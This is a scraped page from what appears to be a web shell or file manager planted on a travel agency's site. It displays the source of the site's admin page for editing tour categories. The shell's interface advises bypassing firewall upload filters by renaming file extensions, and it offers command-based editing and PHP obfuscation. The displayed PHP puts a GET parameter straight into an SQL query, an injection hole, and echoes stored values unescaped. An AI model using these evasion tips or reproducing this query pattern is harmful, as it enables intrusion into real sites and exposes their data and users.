Folder deleted successfully!
Close
Search
Search
Search
Search
Information
Information
Light
Dark
Open actions menu
Basic upload method
Bypass upload method
Tips!
If you encounter an error (by firewall) while uploading using both methods,
try changing extension of the file before uploading it and rename it right after.
This uploader supports multiple file upload.
Submit
~
home
u619466350
domains
a1toursandtravels.com
public_html
admin
File Name:
<?php ob_start(); session_start(); include('config/connection_config.php'); //$id = $_GET['edit2']; if(isset($_GET['cat_id'])){ $cat_id = $_GET['cat_id']; $q = "Select * from subcategory_tb where cat_id=$cat_id"; $run22 = mysqli_query($con,$q); while($row = mysqli_fetch_array($run22)){ $cat_id = $row['cat_id']; $cat_name = $row['cat_name']; $main_category = $row['main_category']; $introduction = $row['introduction']; $thumb_banner_image = $row['thumb_banner_image']; $date_time = $row['date_time']; $hot = $row['hot']; } } ?> <!DOCTYPE html> <html> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <head> <title>Update Tour, Admin Panel</title> <!--Bootstrap css--> <link href="css/bootstrap.css" rel='stylesheet' type='text/css'> <!--/Bootstrap css--> <!--Dropdown discription js--> <script type="text/javascript" src="js/left-dropdown/jquery-2.1.1.min.js"></script> <script type="text/javascript" src="js/left-dropdown/bootstrap.min.js"></script> <!--Dropdown discription js--> <!--our css--> <link href="css/mycss.css" rel='stylesheet' type='text/css'> <!--/our css--> <!--Dropdown main_category, category and sub_category script--> <script type="text/javascript"> $(document).ready(function() { $("#loding1").hide(); $("#loding2").hide(); $(".main_category").change(function() { $("#loding1").show(); var id=$(this).val(); var dataString = 'id='+ id; $(".category").find('option').remove(); $.ajax ({ type: "POST", url: "get_category.php", data: dataString, cache: false, success: function(html) { $("#loding1").hide(); $(".category").html(html); } }); }); }); </script> <script type="text/javascript"> $(document).ready(function() { $("#loding1").hide(); $("#loding2").hide(); $(".category").change(function() { $("#loding1").show(); var id=$(this).val(); var dataString = 'id='+ id; $(".sub_category").find('option').remove(); $.ajax ({ type: "POST", url: "get_sub_category.php", data: dataString, cache: false, success: function(html) { $("#loding1").hide(); $(".sub_category").html(html); } }); }); }); </script> </head> <style type="text/css"> form { background: white;} input[type="file"]{ width: 80%; border-radius: 0 3px 3px 0; padding-top: 10px; } .panel{background-image: linear-gradient(to bottom,orange 0,darkorange 100%);} .panel-body {padding: 20px;background: white;margin: 5px 20px 20px 20px;} </style> <!--Top Bar--> <section> <div class="row"> <div class=""> <?php require('include/menu-navigation.php'); ?> <div class="col-lg-10 col-md-10 col-sm-10 col-xs-12" style="padding:0;background:#e7e7e7;"> <div> <div id="menu" style="padding:17px;background:#3c8dbc;"> <a href="Log-Out.php" class="pull-right"> log out </a> <div class="clearfix"></div> </div> <div> <div class="col-md-12"> <br> <div class="panel panel-default"> <div class="list-group"> <div class="list-group-item active clearfix" href=""> <h2>Update Category </h2> </div> </div> <div class="panel-body"> <div class="grid"> <?php if(isset($_GET['cat_id'])){ ?> <div class="list-group" style="padding:10px;"> <div class="panel-body"> <div class="grid"> <!---form start---> <form enctype="multipart/form-data" method="post" action="update_subcategory_get.php?cat_id=<?php echo $cat_id; ?>"> <input type="text" name="date_time" class="hide" value="<?php echo $date_time;?>"> <div class="col-md-4"> <label>Main Category : </label> <select name="main_category" class="main_category form-control" id="countryId"> <option value="">Select Main Category</option> <option value="Theme" <?php if($main_category=='Theme'){echo "Selected='Selected' ";} ?>>Theme</option> <option value="Destination"<?php if($main_category=='Destination'){echo "Selected='Selected' ";} ?>>Destination</option> <option value="Departure "<?php if($main_category=='Departure'){echo "Selected='Selected' ";} ?>>Departure </option> </select> </div> <div class="col-md-4"> <label>Category : </label> <select name="category" class="category form-control"> <?php $q = "Select * from subcategory_tb where main_category='$main_category' && cat_name='$cat_name' "; $run = mysqli_query($con,$q); while($row = mysqli_fetch_array($run)){ $sub_cat = $row['sub_cat']; ?> <option selected="selected" value="<?php echo $sub_cat; ?>"> <?php echo $sub_cat; ?> </option> <?php } ?> </select> </div> <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12"> <label>Category Name : </label> <input type="text" name="cat_name" class="form-control" value="<?php echo $cat_name; ?>"> </div> <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12"> <label>Upload Banner : </label><br> <input type="file" name="banner_image" class="form-control"> </div> <div class="col-md-12"> <label>Introduction : </label> <p class="area"> <script src="//tinymce.cachefly.net/4.2/tinymce.min.js"></script> <script>tinymce.init({selector:'textarea'});</script> <div style="width: 100%;height:346px;"> <textarea type="text" name="introduction" id="textarea" onkeydown="limit(250)" style="margin: 0px; width: 100%; height: 246px;" /><?php echo $introduction;?></textarea> </div> </p> <br><br> </div> <div class="col-md-12"> <p> <input type="submit" value="Update" name="update2" id="image_upload" class="btn"/> </p> </div> <div class="clearfix"></div> </form> <!---form start---> </div> </div> </div> <?php } else if(isset($_GET['edit2'])){ ?> <div class="list-group" style="padding:10px;"> <div class=""> <div class="grid"> <!---form start---> <form method="post" action="update_destinationcat2.php?id=<?php echo $id; ?>"> <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12"> <input type="text" name="cat_id" class="hide" value="<?php echo $cat_id; ?>"> <label>Category Name : </label> <input type="text" name="cat_name" class="form-control" value="<?php echo $cat_name; ?>"> </div> <div class="col-md-12"> <label>Introduction : </label> <p class="area"> <script src="//tinymce.cachefly.net/4.2/tinymce.min.js"></script> <script>tinymce.init({selector:'textarea'});</script> <div style="width: 100%;height:346px;"> <textarea type="text" name="Introduction" id="textarea" onkeydown="limit(250)" style="margin: 0px; width: 100%; height: 246px;" /><?php echo $introduction;?></textarea> </div> </p> <br><br> </div> <div class="col-md-12"> <p> <input type="submit" value="Update" name="update2" id="image_upload" class="btn"/> </p> </div> <div class="clearfix"></div> </form> <!---form start---> </div> </div> </div> <?php } else if(isset($_GET['edit3'])){ ?> <div class="list-group" style="padding:10px;"> <div class="panel-body"> <div class="grid"> <!---form start---> <form id="form" class="blocks" action="update_cat_get.php" method="post" onsubmit="return validate()"> <p> <label>Enter Hotel Deal Category Name:</label> <input class="hide" type="text" name="cat_id22" value="<?php echo $cat_id; ?>" style="width:100%;height:50px;"/> <input type="text" class="form-control" name="cat_name22" value="<?php echo $cat_name; ?>" style="width:100%;height:50px;"/> </p> <br> <p> <label> </label> <input class="btn btn-lg btn-success" type="submit" value="UPDATE" name="update3" /> </p> </form> <!---form start---> </div> </div> </div> <?php } else if(isset($_GET['edit4'])){ ?> <div class="list-group" style="padding:10px;"> <div class=""> <div class="grid"> <!---form start---> <form method="post" action="update_destinationcat2.php?id=<?php echo $id; ?>"> <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12"> <input type="text" name="cat_id" class="hide" value="<?php echo $cat_id; ?>"> <label>Category Name : </label> <input type="text" name="cat_name" class="form-control" value="<?php echo $cat_name; ?>"> </div> <div class="col-md-12"> <label>Introduction : </label> <p class="area"> <script src="//tinymce.cachefly.net/4.2/tinymce.min.js"></script> <script>tinymce.init({selector:'textarea'});</script> <div style="width: 100%;height:346px;"> <textarea type="text" name="Introduction" id="textarea" onkeydown="limit(250)" style="margin: 0px; width: 100%; height: 246px;" /><?php echo $introduction;?></textarea> </div> </p> <br><br> </div> <div class="col-md-12"> <p> <input type="submit" value="Update" name="update4" id="image_upload" class="btn"/> </p> </div> <div class="clearfix"></div> </form> <!---form start---> </div> </div> </div> <?php } ?> </form> </div> </div> </div> </div> </div> </div> </div> <!--footer--> <div class="clearfix"></div> <div class="row panel-footer" style="background:#000; color:#FFF;"> Copyright © 2016. A1 Tour & Travel <span class="pull-right"> Powered By <a href=""> Arc Solutions </a> </span> </div> <!--/footer--> </div> </div> </div> </section> <!--/Top Bar--> </body> </html> <?php ob_flush(); ?>
Bypass Options
Select edit method
Using basic write file
Using command
Info
Info!
If the strings too long, it will be failed to edit file (command method only).
Obfuscate PHP:
No Obfuscate
Obfuscate
Save Changes